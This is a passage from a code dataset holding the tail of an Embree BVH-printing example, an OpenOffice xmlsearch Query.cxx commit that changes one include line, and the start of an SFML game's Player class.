rtcUnmapBuffer(scene_i,geomID,RTC_VERTEX_BUFFER);\n\n    int* index = (int*) rtcMapBuffer(scene_i,geomID,RTC_INDEX_BUFFER);\n    index[0] = 0;\n    rtcUnmapBuffer(scene_i,geomID,RTC_INDEX_BUFFER);\n    \n    return geomID;\n  }\n\n  \/* prints the bvh4.triangle4v data structure *\/\n  void print_bvh4_triangle4v(BVH4::NodeRef node, size_t depth)\n  {\n    if (node.isAlignedNode())\n    {\n      BVH4::AlignedNode* n = node.alignedNode();\n      \n      std::cout << \"AlignedNode {\" << std::endl;\n      for (size_t i=0; i<4; i++)\n      {\n        for (size_t k=0; k<depth; k++) std::cout << \"  \";\n        std::cout << \"  bounds\" << i << \" = \" << n->bounds(i) << std::endl;\n      }\n\n      for (size_t i=0; i<4; i++)\n      {\n        if (n->child(i) == BVH4::emptyNode)\n          continue;\n\n        for (size_t k=0; k<depth; k++) std::cout << \"  \";\n        std::cout << \"  child\" << i << \" = \";\n        print_bvh4_triangle4v(n->child(i),depth+1); \n      }\n      for (size_t k=0; k<depth; k++) std::cout << \"  \";\n      std::cout << \"}\" << std::endl;\n    }\n    else\n    {\n      size_t num; \n      const Triangle4v* tri = (const Triangle4v*) node.leaf(num);\n\n      std::cout << \"Leaf {\" << std::endl;\n      for (size_t i=0; i<num; i++) {\n        for (size_t j=0; j<tri[i].size(); j++) {\n          for (size_t k=0; k<depth; k++) std::cout << \"  \";\n          std::cout << \"  Triangle { v0 = (\" << tri[i].v0.x[j] << \", \" << tri[i].v0.y[j] << \", \" << tri[i].v0.z[j] << \"),  \"\n            \"v1 = (\" << tri[i].v1.x[j] << \", \" << tri[i].v1.y[j] << \", \" << tri[i].v1.z[j] << \"), \"\n            \"v2 = (\" << tri[i].v2.x[j] << \", \" << tri[i].v2.y[j] << \", \" << tri[i].v2.z[j] << \"), \"\n            \"geomID = \" << tri[i].geomID(j) << \", primID = \" << tri[i].primID(j) << \" }\" << std::endl;\n        }\n      }\n      for (size_t k=0; k<depth; k++) std::cout << \"  \";\n      std::cout << \"}\" << std::endl;\n    }\n  }\n\n  \/* prints the triangle BVH of a scene *\/\n  void print_bvh(RTCScene scene)\n  {\n    BVH4* bvh4 = nullptr; \n\n    \/* if the scene contains only triangles, the BVH4 acceleration structure can be obtained this way *\/\n    AccelData* accel = ((Accel*)scene)->intersectors.ptr;\n    if (accel->type == AccelData::TY_BVH4) \n      bvh4 = (BVH4*)accel;\n\n    \/* if there are also other geometry types, one has to iterate over the toplevel AccelN structure *\/\n    else if (accel->type == AccelData::TY_ACCELN)\n    {\n      AccelN* accelN = (AccelN*)(accel);\n      for (size_t i=0; i<accelN->accels.size(); i++) {\n        if (accelN->accels[i]->intersectors.ptr->type == AccelData::TY_BVH4) {\n          bvh4 = (BVH4*)accelN->accels[i]->intersectors.ptr;\n          if (bvh4->primTy.name == \"triangle4v\") break;\n          bvh4 = nullptr;\n        }\n      }\n    }\n    if (bvh4 == nullptr)\n      throw std::runtime_error(\"cannot access BVH4 acceleration structure\"); \/\/ will not happen if you use this Embree version\n      \n    \/* now lets print the entire hierarchy *\/\n    print_bvh4_triangle4v(bvh4->root,0);\n  }\n\n  \/* main function in embree namespace *\/\n  int main(int argc, char** argv) \n  {\n    \/* for best performance set FTZ and DAZ flags in MXCSR control and status register *\/\n    _MM_SET_FLUSH_ZERO_MODE(_MM_FLUSH_ZERO_ON);\n    _MM_SET_DENORMALS_ZERO_MODE(_MM_DENORMALS_ZERO_ON);\n\n    \/* create new Embree device and force bvh4.triangle4v hierarchy for triangles *\/\n    RTCDevice device = rtcNewDevice(\"tri_accel=bvh4.triangle4v\");\n    error_handler(nullptr,rtcDeviceGetError(device));\n    \n    \/* set error handler *\/\n    rtcDeviceSetErrorFunction2(device,error_handler,nullptr);\n    \n    \/* create scene *\/\n    RTCScene scene = rtcDeviceNewScene(device,RTC_SCENE_STATIC,RTC_INTERSECT1);\n    addCube(scene,Vec3fa(-1,0,0));\n    addCube(scene,Vec3fa(1,0,0));\n    addCube(scene,Vec3fa(0,0,-1));\n    addCube(scene,Vec3fa(0,0,1));\n    addHair(scene);\n    addGroundPlane(scene);\n    rtcCommit (scene);\n    \/* print triangle BVH *\/\n    print_bvh(scene);\n\n    \/* cleanup *\/\n    rtcDeleteScene (scene);\n    rtcDeleteDevice(device);\n    return 0;\n  }\n}\n\nint main(int argc, char** argv)\n{\n  try {\n    return embree::main(argc, argv);\n  }\n  catch (const std::exception& e) {\n    std::cout << \"Error: \" << e.what() << std::endl;\n    return 1;\n  }\n  catch (...) {\n    std::cout << \"Error: unknown exception caught.\" << std::endl;\n    return 1;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: Query.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: hr $ $Date: 2003-03-27 18:07:34 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _XMLSEARCH_QE_QUERY_HXX_\n#include <qe\/Query.hxx>\n#endif\n#ifndef _XMLSEARCH_QE_XMLINDEX_HXX_\n#include <qe\/XmlIndex.hxx>\n#endif\n#ifndef _XMLSEARCH_QE_CONCEPTDATA_HXX_\n#include <qe\/ConceptData.hxx>\n#endif\n#ifndef _XMLSEARCH_QE_QUERYPROCESSOR_HXX_\n#include <qe\/QueryProcessor.hxx>\n#endif\n#ifndef _XMLSEARCH_QE_CONTEXTTABLES_HXX_\n#include <qe\/ContextTables.hxx>\n#endif\n\n\nusing namespace xmlsearch::qe;\n\n\nsal_Int32* QueryHit::getMatches( sal_Int32& matchesL )\n{\n    matchesL = matchesL_;\n    return matches_;\n}\n\n\n\/******************************************************************************\/\n\/*                                                                            *\/\n\/*                     HitStore                                               *\/\n\/*                                                                            *\/\n\/******************************************************************************\/\n\n\nHitStore::HitStore( double initialStandard,sal_Int32 limit,sal_Int32 nColumns )\n    : standard_( initialStandard ),\n      limit_( limit ),\n      heap_( limit ),\n      nColumns_( nColumns ),\n      free_( 0 ),\n      index_( 0 )\n{\n    for( sal_uInt32 i = 0; i < heap_.size(); ++i )\n        heap_[i] = 0;\n}\n\n\n\nHitStore::~HitStore()\n{\n    for( sal_uInt32 i = 0; i < heap_.size(); ++i )\n        delete heap_[i];\n}\n\n\n\nbool HitStore::goodEnough( double penalty, sal_Int32 begin, sal_Int32 end )\n{\n    return free_ == limit_ ? heap_[0]->worseThan( penalty,begin,end ) : true;\n}\n\n\nQueryHit* HitStore::createQueryHit( double penalty,sal_Int32 doc,sal_Int32 begin,sal_Int32 end )\n{\n    QueryHit* hit = new QueryHit( nColumns_,penalty,doc,begin,end );\n    if( free_ == limit_ )\n    { \/\/ goodEnough'ness checked already\n        delete heap_[0];\n        heap_[0] = hit;\n        heapify( 0 );\n        standard_ = heap_[0]->getPenalty();\n    }\n    else if( free_ < limit_ )\n    {\n        heap_[ free_++ ] = hit;\n        if( free_ == limit_ )\n        { \/\/ we have the needed number\n            for( sal_Int32 i = free_\/2; i >= 0; --i ) \/\/ build heap\n                heapify( i );\n            standard_ = heap_[0]->getPenalty();\n        }\n    }\n    return hit;\n}\n\n\nstruct CompareQueryHit\n{\n    bool operator()( const QueryHit* l,const QueryHit* r )\n    {\n        return l->compareTo( r );\n    }\n};\n\n\n#include <stl\/algorithm>\n\n\nQueryHit* HitStore::firstBestQueryHit()\n{\n    if( free_ > 0)\n    {\n        CompareQueryHit bla;\n        heap_.resize( free_ );\n          std::stable_sort( heap_.begin(),heap_.end(),bla );\n        index_ = 0;\n        return nextBestQueryHit();\n    }\n    else\n        return 0;\n}\n\n\nQueryHit* HitStore::nextBestQueryHit()\n{\n    return index_ < free_ ? heap_[ index_++ ] : 0;\n}\n\n\nvoid HitStore::heapify( sal_Int32 i )\n{\n    for( sal_Int32 r,l,worst; ; )\n    {\n        r = (i + 1) << 1; l = r - 1;\n        worst = l < free_ && heap_[i]->betterThan( heap_[l] ) ? l : i;\n        if( r < free_ && heap_[ worst ]->betterThan( heap_[r] ) )\n            worst = r;\n        if (worst != i)\n        {\n            QueryHit* temp = heap_[ worst ];\n            heap_[ worst ] = heap_[ i ];\n            heap_[i] = temp;\n            i = worst;      \/\/ continue\n        }\n        else\n            break;\n    }\n}\n\n\n\/\/  sal_Int32 HitStore::partition( sal_Int32 p,sal_Int32 r )\n\/\/  {\n\/\/      QueryHit* x = heap_[ ((p + r) >> 1) & 0x7FFFFFFF ];\n\/\/      sal_Int32 i = p - 1, j = r + 1;\n\/\/      while( true )\n\/\/      {\n\/\/          while( x->compareTo( heap_[--j] ) )\n\/\/              ;\n\/\/          while( heap_[++i]->compareTo( x ) )\n\/\/              ;\n\/\/          if( i < j )\n\/\/          {\n\/\/              QueryHit* t = heap_[i];\n\/\/              heap_[i] = heap_[j];\n\/\/              heap_[j] = t;\n\/\/          }\n\/\/          else\n\/\/              return j;\n\/\/      }\n\/\/  }\n\n\n\/\/  void HitStore::quicksort( sal_Int32 p,sal_Int32 r )\n\/\/  {\n\/\/      while( p < r )\n\/\/      {\n\/\/          sal_Int32 q = partition( p,r );\n\/\/          quicksort(p, q);\n\/\/          p = q + 1;\n\/\/      }\n\/\/  }\n\n\n\n\/******************************************************************************\/\n\/*                                                                            *\/\n\/*                                 Query                                      *\/\n\/*                                                                            *\/\n\/******************************************************************************\/\n\n\n#define MissingTermPenalty 10.0\n\n\nQuery::Query( XmlIndex* env,\n              sal_Int32 nColumns,\n              sal_Int32 nHits,\n              sal_Int32 missingPenaltiesL,\n              double* missingPenalties )\n    : env_( env ),\n      ctx_( env ? env->getContextInfo() : 0 ),\n      nColumns_( nColumns ),\n      nHitsRequested_( nHits ),\n      missingPenaltyL_( nColumns ),\n      missingPenalty_( new double[ nColumns ] ),\n      upperboundTemplateL_( nColumns ),\n      upperboundTemplate_( new double[ nColumns ] ),\n      penaltiesL_( missingPenaltiesL ),\n      penalties_( missingPenalties ),\n      currentStandard_( nColumns * MissingTermPenalty - 0.0001 ),\n      missingTermsPenalty_( 0.0 ),\n      store_( nColumns * MissingTermPenalty - 0.0001,nHits,nColumns ),\n      ignoredElementsL_( 0 ),\n      ignoredElements_( 0 )\n{\n    \/\/ for the EmptyQuery case (awaits arch improvement pass)\n\n    if( missingPenalties )\n        for( sal_Int32 i = 0;i < nColumns_; ++i )\n            missingPenalty_[i] = missingPenalties[i];\n    else\n        for( sal_Int32 i = 0;i < nColumns_; ++i )\n            missingPenalty_[i] = MissingTermPenalty;\n\n    makePenaltiesTable();\n    \/\/  _roleFillerList = RoleFiller.STOP;\n}\n\n\nQuery::~Query()\n{\n    delete[] missingPenalty_;\n    delete[] upperboundTemplate_;\n    delete[] penalties_;\n    delete[] ignoredElements_;\n}\n\n\nvoid Query::setIgnoredElements( const sal_Int32 ignoredElementsL,const rtl::OUString* ignoredElements )\n{\n    if( ctx_ )\n        ignoredElements_ = ctx_->getIgnoredElementsSet( ignoredElementsL_,\n                                                        ignoredElementsL,ignoredElements );\n\n    if( ! ctx_ )\n    {\n        ignoredElementsL_ = 0;\n        ignoredElements_   = 0;\n    }\n}\n\n\n\nvoid Query::missingTerms( sal_Int32 nMissingTerms )\n{\n    missingTermsPenalty_ = MissingTermPenalty * nMissingTerms;\n}\n\n\n\nConceptData* Query::makeConceptData( sal_Int32 col,sal_Int32 concept,double penalty,sal_Int32 queryNo )\n{\n    return new ConceptData( concept,col,penalty,queryNo,nColumns_,env_->getContextInfo() );;\n}\n\n\nvoid Query::getHits( std::vector< QueryHitData* >& data,sal_Int32 n )\n{\n    if( n <= 0 )\n        return;\n\n    QueryHit* qh = store_.firstBestQueryHit();\n\n    while( qh )\n    {\n        data.push_back( env_->hitToData( qh ) );\n        qh = data.size() < sal_uInt32( n ) ? store_.nextBestQueryHit() : 0;\n    }\n}\n\n\nQueryHit* Query::maybeCreateQueryHit( double penalty,\n                                      sal_Int32 doc, sal_Int32 begin, sal_Int32 end, sal_Int32 parentContext )\n{\n    \/\/ hits are located using only terms actually present in text\n    \/\/ if B is not present, the query A B C reduces to A C and penalties\n    \/\/ are computed as if B did not occur in query\n    \/\/ to meaningfully merge results from different servers, some of which\n    \/\/ may have B, penalty has to be normalized to the common computing scheme\n\n    QueryHit* res =\n        ( store_.goodEnough( penalty += missingTermsPenalty_,begin,end )\n          && ( ! ignoredElements_ || ctx_->notIgnored( parentContext,ignoredElementsL_,ignoredElements_ ) ) )\n        ?\n        store_.createQueryHit( penalty,doc,begin,end )\n        :\n        0;\n    return res;\n}\n\n\nvoid Query::makePenaltiesTable()\n{\n    sal_Int32 nPatterns = 1 << nColumns_;\n    delete[] penalties_;\n    penalties_ = new double[ penaltiesL_ = nPatterns ];\n    for (sal_Int32 i = 0; i < nPatterns; ++i )\n        penalties_[i] = computePenalty(i);\n}\n\n\ndouble Query::computePenalty( sal_Int32 n )\n{\n    double penalty = 0.0;\n    for( sal_Int32 i = 0; i < nColumns_; ++i )\n        if( ( n & 1 << i ) == 0 )\n            penalty += missingPenalty_[i];\n    return penalty;\n}\n\n\nvoid Query::resetForNextDocument()\n{\n    currentStandard_ = store_.getCurrentStandard();\n    \/\/ \"everything's missing\"\n    for( sal_Int32 i = 0; i < nColumns_; i++ )\n        upperboundTemplate_[i] = missingPenalty_[i];\n    vote_ = false;\n}\n\n\nbool Query::vote()\n{\n    double sum = 0.0;\n    for( sal_Int32 i = 0; i < nColumns_; i++ )\n        sum += upperboundTemplate_[i];\n    return vote_ = (sum <= currentStandard_ );\n}\n\n\nvoid Query::updateEstimate( sal_Int32 role,double penalty )\n{\n    if( penalty < upperboundTemplate_[ role ] )\n        upperboundTemplate_[ role ] = penalty;\n}\n\n\n\/******************************************************************************\/\n\/*                                                                            *\/\n\/*                         QueryHitIterator                                   *\/\n\/*                                                                            *\/\n\/******************************************************************************\/\n\n\n\nQueryHitIterator::QueryHitIterator( const QueryResults* result )\n    : result_( result ),\n      index_( -1 )\n{\n}\n\n\nQueryHitIterator::~QueryHitIterator()\n{\n    delete result_;\n}\n\n\nbool QueryHitIterator::next()\n{\n    return accessible_ = ( ++index_ < sal_Int32( result_->queryHits_.size() ) );\n}\n\n\nQueryHitData* QueryHitIterator::getHit( const PrefixTranslator* ) const\n{\n    if( accessible_ )\n        return result_->queryHits_[index_];\n    else\n        return 0;\n}\n\n\ndouble QueryHitIterator::getPenalty()\n{\n    if( accessible_ )\n        return result_->queryHits_[index_]->getPenalty();\n    else\n        return 1.0E30;\n}\n\n<commit_msg>INTEGRATION: CWS geordi2q11 (1.7.44); FILE MERGED 2003\/12\/17 11:38:29 hr 1.7.44.1: #111934#: join CWS ooo111fix1<commit_after>\/*************************************************************************\n *\n *  $RCSfile: Query.cxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: vg $ $Date: 2003-12-17 16:20:30 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _XMLSEARCH_QE_QUERY_HXX_\n#include <qe\/Query.hxx>\n#endif\n#ifndef _XMLSEARCH_QE_XMLINDEX_HXX_\n#include <qe\/XmlIndex.hxx>\n#endif\n#ifndef _XMLSEARCH_QE_CONCEPTDATA_HXX_\n#include <qe\/ConceptData.hxx>\n#endif\n#ifndef _XMLSEARCH_QE_QUERYPROCESSOR_HXX_\n#include <qe\/QueryProcessor.hxx>\n#endif\n#ifndef _XMLSEARCH_QE_CONTEXTTABLES_HXX_\n#include <qe\/ContextTables.hxx>\n#endif\n\n\nusing namespace xmlsearch::qe;\n\n\nsal_Int32* QueryHit::getMatches( sal_Int32& matchesL )\n{\n    matchesL = matchesL_;\n    return matches_;\n}\n\n\n\/******************************************************************************\/\n\/*                                                                            *\/\n\/*                     HitStore                                               *\/\n\/*                                                                            *\/\n\/******************************************************************************\/\n\n\nHitStore::HitStore( double initialStandard,sal_Int32 limit,sal_Int32 nColumns )\n    : standard_( initialStandard ),\n      limit_( limit ),\n      heap_( limit ),\n      nColumns_( nColumns ),\n      free_( 0 ),\n      index_( 0 )\n{\n    for( sal_uInt32 i = 0; i < heap_.size(); ++i )\n        heap_[i] = 0;\n}\n\n\n\nHitStore::~HitStore()\n{\n    for( sal_uInt32 i = 0; i < heap_.size(); ++i )\n        delete heap_[i];\n}\n\n\n\nbool HitStore::goodEnough( double penalty, sal_Int32 begin, sal_Int32 end )\n{\n    return free_ == limit_ ? heap_[0]->worseThan( penalty,begin,end ) : true;\n}\n\n\nQueryHit* HitStore::createQueryHit( double penalty,sal_Int32 doc,sal_Int32 begin,sal_Int32 end )\n{\n    QueryHit* hit = new QueryHit( nColumns_,penalty,doc,begin,end );\n    if( free_ == limit_ )\n    { \/\/ goodEnough'ness checked already\n        delete heap_[0];\n        heap_[0] = hit;\n        heapify( 0 );\n        standard_ = heap_[0]->getPenalty();\n    }\n    else if( free_ < limit_ )\n    {\n        heap_[ free_++ ] = hit;\n        if( free_ == limit_ )\n        { \/\/ we have the needed number\n            for( sal_Int32 i = free_\/2; i >= 0; --i ) \/\/ build heap\n                heapify( i );\n            standard_ = heap_[0]->getPenalty();\n        }\n    }\n    return hit;\n}\n\n\nstruct CompareQueryHit\n{\n    bool operator()( const QueryHit* l,const QueryHit* r )\n    {\n        return l->compareTo( r );\n    }\n};\n\n\n#include <algorithm>\n\n\nQueryHit* HitStore::firstBestQueryHit()\n{\n    if( free_ > 0)\n    {\n        CompareQueryHit bla;\n        heap_.resize( free_ );\n          std::stable_sort( heap_.begin(),heap_.end(),bla );\n        index_ = 0;\n        return nextBestQueryHit();\n    }\n    else\n        return 0;\n}\n\n\nQueryHit* HitStore::nextBestQueryHit()\n{\n    return index_ < free_ ? heap_[ index_++ ] : 0;\n}\n\n\nvoid HitStore::heapify( sal_Int32 i )\n{\n    for( sal_Int32 r,l,worst; ; )\n    {\n        r = (i + 1) << 1; l = r - 1;\n        worst = l < free_ && heap_[i]->betterThan( heap_[l] ) ? l : i;\n        if( r < free_ && heap_[ worst ]->betterThan( heap_[r] ) )\n            worst = r;\n        if (worst != i)\n        {\n            QueryHit* temp = heap_[ worst ];\n            heap_[ worst ] = heap_[ i ];\n            heap_[i] = temp;\n            i = worst;      \/\/ continue\n        }\n        else\n            break;\n    }\n}\n\n\n\/\/  sal_Int32 HitStore::partition( sal_Int32 p,sal_Int32 r )\n\/\/  {\n\/\/      QueryHit* x = heap_[ ((p + r) >> 1) & 0x7FFFFFFF ];\n\/\/      sal_Int32 i = p - 1, j = r + 1;\n\/\/      while( true )\n\/\/      {\n\/\/          while( x->compareTo( heap_[--j] ) )\n\/\/              ;\n\/\/          while( heap_[++i]->compareTo( x ) )\n\/\/              ;\n\/\/          if( i < j )\n\/\/          {\n\/\/              QueryHit* t = heap_[i];\n\/\/              heap_[i] = heap_[j];\n\/\/              heap_[j] = t;\n\/\/          }\n\/\/          else\n\/\/              return j;\n\/\/      }\n\/\/  }\n\n\n\/\/  void HitStore::quicksort( sal_Int32 p,sal_Int32 r )\n\/\/  {\n\/\/      while( p < r )\n\/\/      {\n\/\/          sal_Int32 q = partition( p,r );\n\/\/          quicksort(p, q);\n\/\/          p = q + 1;\n\/\/      }\n\/\/  }\n\n\n\n\/******************************************************************************\/\n\/*                                                                            *\/\n\/*                                 Query                                      *\/\n\/*                                                                            *\/\n\/******************************************************************************\/\n\n\n#define MissingTermPenalty 10.0\n\n\nQuery::Query( XmlIndex* env,\n              sal_Int32 nColumns,\n              sal_Int32 nHits,\n              sal_Int32 missingPenaltiesL,\n              double* missingPenalties )\n    : env_( env ),\n      ctx_( env ? env->getContextInfo() : 0 ),\n      nColumns_( nColumns ),\n      nHitsRequested_( nHits ),\n      missingPenaltyL_( nColumns ),\n      missingPenalty_( new double[ nColumns ] ),\n      upperboundTemplateL_( nColumns ),\n      upperboundTemplate_( new double[ nColumns ] ),\n      penaltiesL_( missingPenaltiesL ),\n      penalties_( missingPenalties ),\n      currentStandard_( nColumns * MissingTermPenalty - 0.0001 ),\n      missingTermsPenalty_( 0.0 ),\n      store_( nColumns * MissingTermPenalty - 0.0001,nHits,nColumns ),\n      ignoredElementsL_( 0 ),\n      ignoredElements_( 0 )\n{\n    \/\/ for the EmptyQuery case (awaits arch improvement pass)\n\n    if( missingPenalties )\n        for( sal_Int32 i = 0;i < nColumns_; ++i )\n            missingPenalty_[i] = missingPenalties[i];\n    else\n        for( sal_Int32 i = 0;i < nColumns_; ++i )\n            missingPenalty_[i] = MissingTermPenalty;\n\n    makePenaltiesTable();\n    \/\/  _roleFillerList = RoleFiller.STOP;\n}\n\n\nQuery::~Query()\n{\n    delete[] missingPenalty_;\n    delete[] upperboundTemplate_;\n    delete[] penalties_;\n    delete[] ignoredElements_;\n}\n\n\nvoid Query::setIgnoredElements( const sal_Int32 ignoredElementsL,const rtl::OUString* ignoredElements )\n{\n    if( ctx_ )\n        ignoredElements_ = ctx_->getIgnoredElementsSet( ignoredElementsL_,\n                                                        ignoredElementsL,ignoredElements );\n\n    if( ! ctx_ )\n    {\n        ignoredElementsL_ = 0;\n        ignoredElements_   = 0;\n    }\n}\n\n\n\nvoid Query::missingTerms( sal_Int32 nMissingTerms )\n{\n    missingTermsPenalty_ = MissingTermPenalty * nMissingTerms;\n}\n\n\n\nConceptData* Query::makeConceptData( sal_Int32 col,sal_Int32 concept,double penalty,sal_Int32 queryNo )\n{\n    return new ConceptData( concept,col,penalty,queryNo,nColumns_,env_->getContextInfo() );;\n}\n\n\nvoid Query::getHits( std::vector< QueryHitData* >& data,sal_Int32 n )\n{\n    if( n <= 0 )\n        return;\n\n    QueryHit* qh = store_.firstBestQueryHit();\n\n    while( qh )\n    {\n        data.push_back( env_->hitToData( qh ) );\n        qh = data.size() < sal_uInt32( n ) ? store_.nextBestQueryHit() : 0;\n    }\n}\n\n\nQueryHit* Query::maybeCreateQueryHit( double penalty,\n                                      sal_Int32 doc, sal_Int32 begin, sal_Int32 end, sal_Int32 parentContext )\n{\n    \/\/ hits are located using only terms actually present in text\n    \/\/ if B is not present, the query A B C reduces to A C and penalties\n    \/\/ are computed as if B did not occur in query\n    \/\/ to meaningfully merge results from different servers, some of which\n    \/\/ may have B, penalty has to be normalized to the common computing scheme\n\n    QueryHit* res =\n        ( store_.goodEnough( penalty += missingTermsPenalty_,begin,end )\n          && ( ! ignoredElements_ || ctx_->notIgnored( parentContext,ignoredElementsL_,ignoredElements_ ) ) )\n        ?\n        store_.createQueryHit( penalty,doc,begin,end )\n        :\n        0;\n    return res;\n}\n\n\nvoid Query::makePenaltiesTable()\n{\n    sal_Int32 nPatterns = 1 << nColumns_;\n    delete[] penalties_;\n    penalties_ = new double[ penaltiesL_ = nPatterns ];\n    for (sal_Int32 i = 0; i < nPatterns; ++i )\n        penalties_[i] = computePenalty(i);\n}\n\n\ndouble Query::computePenalty( sal_Int32 n )\n{\n    double penalty = 0.0;\n    for( sal_Int32 i = 0; i < nColumns_; ++i )\n        if( ( n & 1 << i ) == 0 )\n            penalty += missingPenalty_[i];\n    return penalty;\n}\n\n\nvoid Query::resetForNextDocument()\n{\n    currentStandard_ = store_.getCurrentStandard();\n    \/\/ \"everything's missing\"\n    for( sal_Int32 i = 0; i < nColumns_; i++ )\n        upperboundTemplate_[i] = missingPenalty_[i];\n    vote_ = false;\n}\n\n\nbool Query::vote()\n{\n    double sum = 0.0;\n    for( sal_Int32 i = 0; i < nColumns_; i++ )\n        sum += upperboundTemplate_[i];\n    return vote_ = (sum <= currentStandard_ );\n}\n\n\nvoid Query::updateEstimate( sal_Int32 role,double penalty )\n{\n    if( penalty < upperboundTemplate_[ role ] )\n        upperboundTemplate_[ role ] = penalty;\n}\n\n\n\/******************************************************************************\/\n\/*                                                                            *\/\n\/*                         QueryHitIterator                                   *\/\n\/*                                                                            *\/\n\/******************************************************************************\/\n\n\n\nQueryHitIterator::QueryHitIterator( const QueryResults* result )\n    : result_( result ),\n      index_( -1 )\n{\n}\n\n\nQueryHitIterator::~QueryHitIterator()\n{\n    delete result_;\n}\n\n\nbool QueryHitIterator::next()\n{\n    return accessible_ = ( ++index_ < sal_Int32( result_->queryHits_.size() ) );\n}\n\n\nQueryHitData* QueryHitIterator::getHit( const PrefixTranslator* ) const\n{\n    if( accessible_ )\n        return result_->queryHits_[index_];\n    else\n        return 0;\n}\n\n\ndouble QueryHitIterator::getPenalty()\n{\n    if( accessible_ )\n        return result_->queryHits_[index_]->getPenalty();\n    else\n        return 1.0E30;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <SFML\/Audio\/Sound.hpp>\n#include <beatwave\/player.hpp>\n#include <beatwave\/config.hpp>\n#include <core\/util.hpp>\n#include <core\/dsl.hpp>\n\nPlayer::Player(const sf::Vector2f &position):\n    m_circle(config::PLAYER_INIT_RADIUS,\n             position,\n             config::PLAYER_INIT_COLOR),\n    m_splat(20),\n    m_dead(false)\n{}\n\nvoid Player::tick(int32_t deltaTime)\n{\n    m_circle.tick(deltaTime);\n    m_splat.tick(deltaTime);\n}\n\nvoid Player::render(sf::RenderTarget *renderTarget) const\n{\n    m_circle.render(renderTarget);\n    m_splat.render(renderTarget);\n}\n\nvoid Player::step(const sf::Color &flashColor,\n                  const sf::Vector2f direction,\n                  sf::Sound *sound)\n{\n    using namespace dsl;\n\n    if (!m_dead) {\n        m_circle.animate<Circle::Color>(from(flashColor)\n                                        .to(config::PLAYER_INIT_COLOR)\n                                        .during(config::COLOR_TIME));\n\n        m_circle.animate<Circle::Position>(from(m_circle.value<Circle::Position>())\n                                           .by(direction)\n                                           .during(config::MOVE_TIME));\n\n        sound->play();\n    } else {\n        reset();\n    }\n}\n\nvoid Player::centerView(sf::RenderTarget *renderTarget) const\n{\n    renderTarget->setView(sf::View(m_circle.value<Circle::Position>(), renderTarget->getView().getSize()));\n}\n\nvoid Player::reset()\n{\n    using namespace dsl;\n\n    m_circle.animate<Circle::Position>(set(config::PLAYER_INIT_POSITION));\n    m_circle.animate<Circle::Color>(set(config::PLAYER_INIT_COLOR));\n    m_circle.animate<Circle::Radius>(set(config::PLAYER_INIT_RADIUS));\n    m_dead = false;\n}\n\nvoid Player::kill()\n{\n    if (!m_dead) {\n        m_circle.stop();\n        m_dead = true;\n\n    